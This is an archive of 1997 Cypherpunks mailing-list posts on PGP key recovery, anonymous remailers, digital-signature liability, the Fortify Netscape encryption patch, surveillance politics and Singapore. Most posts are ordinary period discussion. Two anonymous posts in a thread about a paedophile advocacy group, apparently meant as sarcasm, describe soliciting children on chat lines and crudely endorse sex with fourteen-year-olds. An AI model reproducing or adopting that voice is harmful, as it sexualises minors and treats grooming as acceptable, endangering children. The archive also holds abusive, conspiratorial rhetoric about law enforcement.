In-Reply-To: <3.0.32.19971027024339.006adea0@cnw.com>
Message-ID: <3.0.3.32.19971027180905.02fece3c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713744.multipart/signed"

--Boundary..3985.1071713744.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 02:55 AM 10/27/97 -0800, Blanc wrote:
>There are many obstacles to overcome in an imperfect world, in an imperfect
>society, in an imperfect economy, under imperfect governments, not to
>mention all the competition.  It is very discouraging and sometimes you
>want to hug your Teddy Bear for comfort [ :>) ].  But sometimes the first,
>and largest,  obstacle to overcome is one's own pessimism and negativity
>against mustering up the courage and creativity to "push the envelope".
>This fatalism is what is being criticized.

I couldn't have said it better.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

Stupidity is the one arena of of human achievement where most people
fulfill their potential.

--Boundary..3985.1071713744.multipart/signed
Content-Type: application/octet-stream; name="pgp00008.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00008.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IHVybWo2aFh6WHZx
TysrOTVNRFVWekpqdy9BQ2FrNzRFCgppUUEvQXdVQk5GVlRqY0pGMGtYcXB3
M01FUUk3K2dDZEVwdmJrMThJR1IxVjBaSGF1bDhsaXlWOUJ3Y0FvT05ZCkRP
WnFVajIxRGZPZTgwTkFnRWUyeXFkcQo9dGo5MAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713744.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 28 Oct 1997 02:34:46 +0800
To: kent@bywater.songbird.com
Subject: Re: Technical Description of PGP 5.5
In-Reply-To: <19971027063955.64669@bywater.songbird.com>
Message-ID: <199710271820.SAA02733@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@bywater.songbird.com> writes:
> Given the frequency of "I've forgotten my password" incidents at
> company help desks, widespread use of cryptography would cause this to
> become *the* prime cause of lost data.

pgp5.5 doesn't cope with this very well -- it requires all of the
stored emails to be decrypted by the holder of the recovery key and
re-encrypted to the users new key.  Same thing for tape archives,
write once CD archives, etc., etc.

Password memory lapses are likely to be the major problem.

It would suggest that smart cards might be a valuable ergonomics
investment.  I understand dumb card readers are dirt cheap (~$10 in
volume) and can be plugged inline into keyboard cables.  Reckon you
could swallow the cost in the product price even ($159 or whatever the
business edition is).

> The physical mail analogy to PGP's implementation of CMR is as 
> follows:  Company policy is that it does not accept private pmail for 
> individuals.  All mail for individuals must be addressed
> 
> XYZ Company
> attn: Indi Vidual
> Address1
> Address2
> 
> Mail addressed like this:
> 
> Indi Vidual
> Address1
> Address2
> 
> will be returned, because the company doesn't accept private mail.  
> Company mail is to be used for company business.  You don't receive 
> Playboy at work, you receive it at home.

Reasonable analogy of what's going on wrt strictly company use
addresses, and with companies which may allow private use addresses.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 28 Oct 1997 02:33:38 +0800
To: take@barrier-free.co.jp
Subject: Re: [NEW] mixer@htp.org (was: List of reliable remailers)
In-Reply-To: <199710271621.BAA31069@ns.barrier-free.co.jp>
Message-ID: <199710271825.SAA02741@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tsuyoshi Hayashi <take@barrier-free.co.jp> writes:
> 
> Please add mixer@htp.org, the first public remailer in
> Japan, was setup by a member of cypherpunks-j.
> 
> mixer@htp.org is probably:
> 
>   $remailer{"mixer"} = "<mixer@htp.org> cpunk mix pgp";

Congrats on starting a remailer in a new jurisdiction!

Lots of jurisdictions on long chains is very useful because the
attacker must break all of them, and the more different jurisdictions
the more expensive and politically difficult it is for the attacker to
compromise the whole chain.

Jurisdiction shopping is good, too -- wonder what Japan offers as a
jurisdiction opportunity -- are there things legal in Japan which are
not legal in Europe, or US?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 28 Oct 1997 07:36:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Click HERE for Boy Sex
Message-ID: <199710280026.SAA00803@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear (azur@netcom.com) writes:
 
> Despite the sometimes controversial contents of Usenet feeds it is
> unlikely that the Feds will move to put the kabosh on Usenet.
 
This appears to be the case.  A quick perusal of the Web shows that
NetPics, which was raided earlier this year amidst much fanfare, is
still a booming business with a big array of powerful Web servers,
providing pre-decoded Usenet pictures groups to all comers.
 
This is one high profile child porn prosecution which apparently
fizzled.
 
Still, Netpics advertises that it does not carry about a dozen groups
devoted to the topic of child porn, and monitors other high risk
groups for the purpose of removing illegal material from them.
 
It will be interesting to see how the "only providing a newsfeed"
defense works when the images in question are carefully culled from
known child porn groups, for the specific purpose of sale to a
pedosexual clientele.

--  
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 28 Oct 1997 13:26:18 +0800
To: cryptography@c2.net
Subject: WPI Cryptography Seminar
Message-ID: <v0311075cb07ae96c0556@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: goya.WPI.EDU: christof owned process doing -bs
Date: Mon, 27 Oct 1997 13:26:02 -0500 (EST)
From: Christof Paar <christof@ece.WPI.EDU>
To: ecegraduate@ece.WPI.EDU, ma-clipboard@wpi.WPI.EDU, DCSB <dcsb@ai.mit.edu>,
        ecefaculty@ece.WPI.EDU, faculty@owl.WPI.EDU, graduate@owl.WPI.EDU
Subject: WPI Cryptography Seminar
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Christof Paar <christof@ece.WPI.EDU>

Starting next week, we will again offer an open Cryptography Seminar at
WPI. We will meet (mostly) Tuesdays at 4:30. Some of the talks until the
end of this year are

- Erik DeWin, K.U. Leuven, Belgium:
  The P1363 IEEE Public-Key Standard.

- David Jablon:
  A new network identification system.

- Jens-Peter Kaps, WPI:
  High-speed implementation of DES on FPGAs.

- Christian Cachin, MIT:
  Unconditionally secure key agreement.

- Tobias Lohrenz and Kai Wollenweber, U. Siegen, Germany:
  Implementation of a key-agile ATM security module.

IF YOU WANT TO RECEIVE ANNOUNCEMENTS FOR THE CRYPTO SEMINAR, please
send me a brief reply and I put you on the mailing list. Otherwise
you won't here from us again :)

Regards,

Christof Paar


PS: All students in my current or past cryptography courses are
automatically on the list; please don't respond.


*************************************************************************
Christof Paar                   http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor             email:  christof@ece.wpi.edu
Cryptography Group              phone:  (508) 831 5061
ECE Department, WPI             fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
*************************************************************************



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@belenus.iks-jena.de (Lutz Donnerhacke)
Date: Tue, 28 Oct 1997 04:11:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Laws recognizing digital signatures
In-Reply-To: <3.0.3.32.19971026204052.006b547c@popd.ix.netcom.com>
Message-ID: <slrn659t18.6ck.lutz@belenus.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* stewarts@ix.netcom.com wrote:
>The basic problem is 
>- Person Alice may have a key
>- Merchant Bob has an online store
>- Customer X presents Bob with a key K, certified by CA Charlie,
>	claiming that she's Alice, K is Alice's key,
>	and downloads the merchandise from Bob.
>- Alice says it wasn't her and refuses to pay Bob the bill.
>
>So who gets stuck with the bill?  Alice?  Bob?  Charlie?

Bob asks Charlie, who is really behind K. Charlie must be able to point to
Alice. If he can't do that, Bob will sue him. (Like any customer fooled by a
McLain control signed and certified by Verisign, which revoke the
certificate due to a request from Microsoft.)

Alice is responsible for her key K. If X can fool Bob, he has access to the
secret part of K, so the problem goes to Alice. Alice can inform Charlie for
revoking the certificate. If she did this, the problem went to Charlie. If
he updated his public database, the problem went to Bob. If Bob did non
check nor get a real timestamp (I.e. eternity logfile), he has lost.
Otherwise he lost, because he knew, that Alice's key was comprimised before
delivery.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 03:27:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim's worst nightmare
Message-ID: <199710271918.UAA22699@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 > Woman in Standoff Shoots at Police
 > Filed at 10:12 a.m.  EST
 > By The Associated Press

 > ROBY, Ill.  (AP) -- Gunfire rang out again at the home of a
 > woman involved in a month-long standoff with authorities who
 > have a court order to bring her in for psychological testing.


Just imagine a few hundred (or thousand) people getting together in
Roby, Ill., defying the police-ordered half mile ban around her
house and sitting down peacefully between her and the police...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 28 Oct 1997 11:50:59 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [NEW] mixer@htp.org ( (fwd)
Message-ID: <199710280343.VAA06957@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: harka@nycmetro.com
> Date: 27 Oct 1997 15:06:04 EDT
> Subject: Re: [NEW] mixer@htp.org (
> 
> Congrats for the new remailer and a related question: Are the
> cypherpunks-e and cypherpunks-j lists now fully included into the
> list-distribution from and to the other three nodes?
> (The last thing I can recall was, that there were still some
> problems with the distribution)

cypherpunks-j is indipendent. cypherpunks-e recieves feeds from SSZ.
There used to be a problem with traffic with blank subject: headers
but recently haven't seen the problem. That was the only problem that I was
aware of.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 06:04:39 +0800
To: cypherpunks@toad.com
Subject: Re: NABMLA embattled -- mirror sites?
Message-ID: <199710272113.WAA04739@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> I'm not sure the right to free speech includes the right to endorse guys
> fucking little boys, whether they give it a moniker like "transgenerational
> love" or not. Any sex with a minor is rape, since they can't legally give
> consent. 

That's right. People who are too lazy to drive a fourteen year old
to New Mexico, where they can legally fuck their brains out, should
go to jail for a long, long time.
When I cruise the children's chat lines, I always tell them I would
like to meet them in New Mexico and fuck their brains out. That's
legal.

What I love about the law is that it gives us clear guidelines to
help us recognize the difference between those filthy fucking
child-molesting perverts fucking fourteen year olds in California,
and the decent, upstanding citizens fucking the fourteen year
olds in New Mexico.

God Bless America,
LegallyFuckingFourteenYearOldsMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@ganymede.contact.com.sg>
Date: Mon, 27 Oct 1997 22:42:39 +0800
To: blancw@cnw.com (Blanc)
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough
In-Reply-To: <3.0.32.19971027025435.006b993c@cnw.com>
Message-ID: <199710271415.WAA02980@ganymede.contact.com.sg>
MIME-Version: 1.0
Content-Type: text



Blanc -

Hi.

> >I don't think the "micro management" is at it's worst in Singapore - not by 
> >a long shot.  It is true that the Singapore government tries to do so and 
> >in a lot of what they attempt, they somehow come out smelling roses.  But 
> >they have goofed up royally as well.  
> ...................................................................
> 
> If you don't mind my asking in front of everybody, how do you stand it,
> living there?  

Sure you may ask and I would venture an answer.  Promise me that you will 
answer the same question as to where you live (Pacific Northwest I assume -
ah, how I would love to move back there!).  How do I stand it living here?
I don't really know.  This is my home after all.  Warts and all.  I was born 
here 38 years ago.  When I was born, Singapore was a British Crown Colony 
(as Hong Kong was up until June 30th this year).  In 1963, we joined our 
northern neighbour, Malaysia, and became a state within that country.  In 
1965, we got booted out.  I was 6.  The country was in shambles to say the 
least.  We are nothing but a piece of island about 600 sq km (or 230+ sq 
miles for the metric-challenged Americans :-)), with no natural resources, 
save for a population them of about 1.5M and a great natural harbour.  We 
have a racial mix of 70% ethnic Chinese, 15% native Malays, 10% ethnic 
Indians and about 5% so-called Others.  What holds this cocktail together - 
nothing except for the hope for a better life.  My parents were immigrants - 
they came to Singapore after WWII from India for a better life.  These people 
are willing to put up with "nonsense" to make money and dream to retire to 
their motherlands during their twilight years.

My parents are now Singapore citizens and so are over 3 million others now.
They are not planning on any form of retirement in any other country - this
is their home.  The formula that saw Singapore be transformed from a 3rd 
world dump to a 1st world city is now not valid.  People of my generation 
have seen the transition and now we are able to assert ourselves as full 
citizens of a island city state and are beginning to do so in an increasing 
manner.  The Internet is helping in that direction.

> Do you get very frustrated (it sounds as though you might), and want to 
> leave for Anguilla?   

Yes, I am frustrated at times - aren't we all.  But I can do pretty much what 
I want.  This is not a police state by any definition.  I am able to buy what 
I want, pay for it in any form I choose and generally go about my life as I 
please.  The income taxes are ridiculously low (much much lower than in the
US) and the general standard of living is good. 

> Do you remind yourself not to litter with those gum wrappers you're not 
> supposed to have anyway.

Why would I have to remind myself?  Good habits are all that it takes.  Have
you checked your city's ordinance to see if littering is an offence and the 
penalty it carries?  What is it that just because in Singapore there are 
signs that state the obvious, it immediately becomes a problem?  True, if the 
society is naturally gracious, there is not need for such reminders - but the 
social habits of the populace in earlier days warranted that.  No apologies 
are really needed, but things have to be placed in perspective.  The unfortunate
thing about the international media is that they are always picking bones on 
the most silly of issues and the some of the bozos in the local government 
here have such thin skins that they get very excitable for no reason.

> what do you think when you're being incentivized to find a sexual partner 
> and produce children, or to Do This and Not do That or risk painful 
> punishments?  

Hmm.  This is what I mentioned in a previous post that there are some things
the lobotomized parts of the government does that is shamefully stupid.  Just
laugh it off.  The govt loves to micromanage.  The generation of Singaporeans
who grew up post independence (1965) have been brought up in that sort of
environment.  But, unlike their parents, this post-1965 generation does not
ask how high when asked to jump, but asks why.

> Do co-workers become critical of each other's petty "crimes", do you feel
> opressed all around, or is it not as bad as it seems from here?

Spot on.  It is all a matter of perspectives and type and quality of
information that is being fed.  We need opening of minds and exchange of
information to remove misconceptions.  Sometime in 1989 (I was living in
Seattle then) I was bombarded by e-mail from a chap from somewhere in 
eastern Europe on how I could defend Singapore when there are people starving 
on the streets, libraries without books, children malnourished etc etc.  I 
don't know what he was smoking, but it sure made for a interesting read.   
I sent back a note asking him to clarify what he was saying, to which he 
replied that that was the type of information he was being fed by their 
media.

Perhaps a more balanced perspective of Singapore can be gotten at 
www.sintercom.org.  Open your minds.  No, this is not a god-forsaken place.
It's home and it's livable.  Come visit us.   Buy me some chewing gum, I'll 
buy the beers.

So, now to come back to the first line.  Tell me how you can tolerate living 
in wherever that it you live in?

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 06:11:28 +0800
To: cypherpunks@toad.com
Subject: Re: Fucking Minors / Re: NABMLA embattled -- mirror sites?
Message-ID: <199710272150.WAA08567@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



George Spelvin wrote:
> Anonymous wrote:
> > That's right. People who are too lazy to drive a fourteen year old
> > to New Mexico, where they can legally fuck their brains out, should
> > go to jail for a long, long time.
 
>   I consider this issue so important that I thought it appropriate
> to reply to it even before it arrived at the Cypherpunks mailing
> list.

I would like to remind George Spelvin (if that is your  *real* name)
that is improper Netiquette to reply to your own anonymous posts
before they have even arrived to the mailing list to which they were
sent.
While the Mandatory/Voluntary Netiquette rules are unclear in regard
to those with psychic abilities responding to the posts of others
before they arrive at the mailing list, I am certain that the concept
is the same.

>   I believe that people should be required by law to provide not
> only their true identity when using the Internet for communications,
> but should also be required to provide their true physical location,
> so that law enforcement agencies will know whether what they are
> writing is legal or illegal in the state from which they are
> sending the communication.

  This is patently ridiculous!
  How do you know for certain that 'Anonymous' is not the person's
*real* name? And how do we know that Anonymous is not physically
*at* REPLAY.COM? Point to it on a map for me, why don't you?
  For that matter, how do we know that George Spelvin is *your*
real name? And how do we know if you are physically at dev.null?
  I think that others on the list will agree with me that your logic
is lame, and your arguments are ridiculous.
 
LegallyPullingMyOwnPudAtREPLAY.COMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daniele baldi <danbaldi@tin.it>
Date: Tue, 28 Oct 1997 06:32:28 +0800
To: cypherpunks@toad.com
Subject: prova
Message-ID: <34551063.9F5EAD7D@tin.it>
MIME-Version: 1.0
Content-Type: text/plain



Anon-Post-To: danbaldi@tin.it

daniele





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 28 Oct 1997 12:19:30 +0800
To: cypherpunks@toad.com
Subject: Re:Choices
Message-ID: <icX63/CZaAg/dpfIUM3JJg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> Q: "If 1984 was so terrible, why didn't Winston just move to another
>     year?
> A: "Duuhhh..."

Q: "How would history have changed if Horatio Alger was black?"
A: ???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Tue, 28 Oct 1997 15:27:00 +0800
To: cypherpunks@cyberpass.net
Subject: Fortify
Message-ID: <199710280724.XAA00424@einstein.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain

Saw this on BoS...



To: best-of-security@cyber.com.au
Subject: BoS: 128bit for Netscape ouside the US
From: Stef Hoeben <Stefan.Hoeben@esat.kuleuven.ac.be>
Date: Mon, 27 Oct 1997 13:00:54 +0100 (MET)
Old-Status: O
Old-X-Envelope-From: Stefan.Hoeben@esat.kuleuven.ac.be  Mon Oct 27 23:02:17 1997
Old-X-Originally-To: To: best-of-security@cyber.com.au
Old-X-Originated-From: From: Stef Hoeben <Stefan.Hoeben@esat.kuleuven.ac.be>
Organization: ESAT, K.U.Leuven, Belgium
Resent-Date: Tue, 28 Oct 1997 16:57:55 +1100 (EST)
Resent-From: best-of-security@cyber.com.au
Resent-Message-ID: <"eSK-kC.A.f_C.2wSV0"@plum>
Resent-Sender: best-of-security-request@cyber.com.au
Sender: darrenr@cyber.com.au



A program, called Fortify, has been developed that hacks
Netscape to provide strong encryptioni.e. 168bit 3DES or
128bit RC4).
Available on most platforms and for both versions 3.0
and 4.0 of Netscape. Freely available on the site
below and only some 500K.

http://www.geocities.com/Eureka/Plaza/6333

We have tested it on one of our pc's
...and it worked.
-> DES-CBC3-SHA connections with my own testserver have been made
-> Netscape: "high-grade encryption key for U.S. domestic use only"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 28 Oct 1997 07:21:20 +0800
To: cypherpunks@toad.com
Subject: Microsoft's CMR Keys
Message-ID: <199710272304.AAA16802@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Tim May, or someone like him, Wrote: 
> I am offering $25,000 for the CMR key for Microsoft. 
> (As a loyal American, 
> I plan to then send it to Janet Reno and Louis Freeh.)

Here's the public key (that _was_ what you asked for, wasn't it? :-)

If you'd like the private key, please enclose $25,000 in small unmarked
Mark Twain digicash encrypted to the CMR key, mailed to billg@microsoft.com,
with Subject: Testing Message Recovery, Please Ignore
and I'll get back to you RSN.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0
Comment: Where do you want your email to go today?

mQDiBDRUOOkRAgDtlZ1gI4119yWvNk3Z3bdCtGinrTYRM9aBSKGpLnQWMgQRTKag
xoEvj+PSkzdOplbQNb17FkyS+eqNOD3FxDLvAKD/2YkyTt80jTpYE7JKxhN+J0I3
+wH9HI9pkAJIShLGZb7u6WgqRWlR3imV6mKuGG6t7vbWouZhypvfsoxpzGg6oyFk
xeQA7N0ABVUGWBkWAwrhUjp8iAIAo1hA59RTDdeUBysdJpsli2Bg/Sfq7Zf5VQ2o
nvrR0vlrCPxOJOAkr8SGHkUBEQNmtFNL5TB/qRq8LHCtGEkDCrQ6TWljcm9zb2Z0
IENvcnBvcmF0ZSBNZXNzYWdlIEFwcHJvdmFsIDxiaWxsZ0BtaWNyb3NvZnQuY29t
PokAUQQQEQIAEQUCNFQ46QUJABZpgAQLAwECAAoJEB6kQiu8rV1FoIgAnRZkIP1i
yANKty1MAoIjYXvCzyE+AKCBQkDQGDgxEuTByy3BYb1NA2DE4rkAjQQ0VDjtEAIA
6Oe+OrwLtt90xns7irMJz+VMd0HxixdLlieOLb9s0kkeUME2sKIq0KdgGM46n1Pn
4HDQVzdwx58PQ9unNwDnVQACAgH8D4vJKkYtf5hFfqdm1OSXTZ0pvv3roIxUupEL
H8udhVTOWuD6Y9oglXXtzmPIomISBN0XMFstiHkkERBvIbICw4kATAQYEQIADAUC
NFQ47QUJABZpgAAKCRAepEIrvK1dRcdZAKCb3QJ4REIo6OhDLeaJtnZuoaZu3ACg
tNtmL3GB3O4cwXZQ7FgDP2zXBH4=
=M5ch
- -----END PGP PUBLIC KEY BLOCK-----

			Janet
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFQ97R6kQiu8rV1FEQItRACfY1uQmy77eu26qX2HHVxylRp1PPMAoOGZ
pYLAVHGuHxzJeJkju0B0MZve
=hz8F
-----END PGP SIGNATURE-----

				Thanks! 		Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
[I'm currently having hardware problems with my main email; 
send Cc: billstewart@att.com if you need to reach me in a hurry.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 28 Oct 1997 19:00:26 +0800
To: Adam Back <tcmay@got.net
Subject: Re: unconstitutional? try this variant...(Re: GMR in the talked-about form here would be unconstitutional)
In-Reply-To: <v03102807b07688340782@[207.167.93.63]>
Message-ID: <3.0.3.32.19971028001822.006ee9d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:43 PM 10/24/1997 +0100, Adam Back wrote:
> The Clipper set up claimed to have split databases.

The NSA claimed that, but the chip itself didn't implement it -
all of that was external to the chip, and even if you believe that
the NSA wasn't cheating at first by keeping both halves in one place, 
all they need to do is change their own rules and then they can start.

Doing secret-sharing is important, and it's often hard to find a 
good algorithm to implement it; using the regular secret-sharing 
method to reconstruct the one key needed to feed into your program
means your program really only uses one key...  
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 28 Oct 1997 15:58:58 +0800
To: stewarts@ix.netcom.com
Subject: Re: Infastructure Protection and Paranoia
In-Reply-To: <3.0.3.32.19971026170732.006bf4fc@popd.ix.netcom.com>
Message-ID: <3455885C.204E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



stewarts@ix.netcom.com wrote:
> At 03:41 PM 10/21/1997 +0100, Sandy J. Wong wrote on Cyberia-L
> >Buried in Tuesday's Wall Street Journal was a small three-paragraph article
> >mentioning that the U.S. may be vulnerable to a cyberspace version of the
> >Pearl Harbor attack.

  Why don't you phone up NSA and tell them that you made a Xerox (TM)
copy of the InfoWar plans left overnight at the bar/lounge at the 
Holiday Inn in Albuquerque last week?
  Let me know how it turns out for you...

> The story, in shorter or longer form, has been in most of the major papers.
> The InfoWar crowd has been lobbying and running conferences about this one
> for a couple of years, and it sounds like they're making political progress.
> The longer versions of the articles make the connection between
> infrastructure risk and the need for encryption to prevent attacks,
> with various FBI spokecritters talking about how we obviously need FBI access
> to all communications to ban InfoTerrorists.

  These rocket scientists can't figure out that our infrastructures
might not need all that much defending if our dearly beloved LEA's,
overt and covert, were not sticking foreign objects in the citizen's
anus, sabotaging other countries' infrastructures and economies,
assassinating citizens and foreign citizens, etc., etc.

> I've got mixed feelings about it; on one hand it seems like a bunch of
> Defense Department wonks trying to find a way to keep their jobs now that
> the world isn't threatened by Commies any more, but on another hand,
> some of them may have looked at the problem seriously and said
>     "<Expletive deleted>!  Disabling the country's critical infrastructure
>     really does look pretty easy!  Fixing it is probably our job."

  The world is threatened by the DOD...
 
> The recent San Francisco power failure appears to have been sabotage -
> somebody turned off a bunch of switches around 6am taking out 1/4 of the
> city's power for 2-3 hours; the papers don't say if it was just that one substation
> (in which case they should have been able to bring it up much faster)
> or whether it cascaded to a bunch of the other substations as well.
> Is it just another disgruntled employee?  An organized Ecoterrorist Conspiracy?
> Or a government provocation to reinforce their report's impact?
> In either case I'm sure the government will take political advantage of it.

  Yes, the question on everyone's mind is: "Was it the act of a lone 
madman, or an act of the same federal agencies who are putting assault
rifles in the hands of law enforcement agencies at every level, in 
preparation for...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 28 Oct 1997 17:25:55 +0800
To: Greg Broiles <cryptography@c2.net
Subject: Re: key recovery meeting/demonstration in DC, 11/5
In-Reply-To: <199710272113.NAA01177@ideath.parrhesia.com>
Message-ID: <v03007857b07b53ce5d39@[207.94.249.37]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:17 PM -0800 10/27/97, Greg Broiles wrote:
>	       
>See <http://gits-sec.treas.gov/const.htm>; there's going to be a meeting
>discussing key recovery technology and legislation in Washington, D.C. on
>November 5...
>
>The web page features plenty of obfuscation/confusion which tries to link
>KR technology with encryption/security technology, suggesting that a
>combination of the two (or merely the former) is required to allow
>widespread use of the Internet for commerce and data transfer.

I just love the politicians who say they want to regulate, "To foster
Internet growth" when the real problems are mostly keeping the physical
plant up with the growth.

Note to Washington: The Internet is doing fine all on its own.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 28 Oct 1997 16:56:03 +0800
To: Tim May <tcmay@got.net>
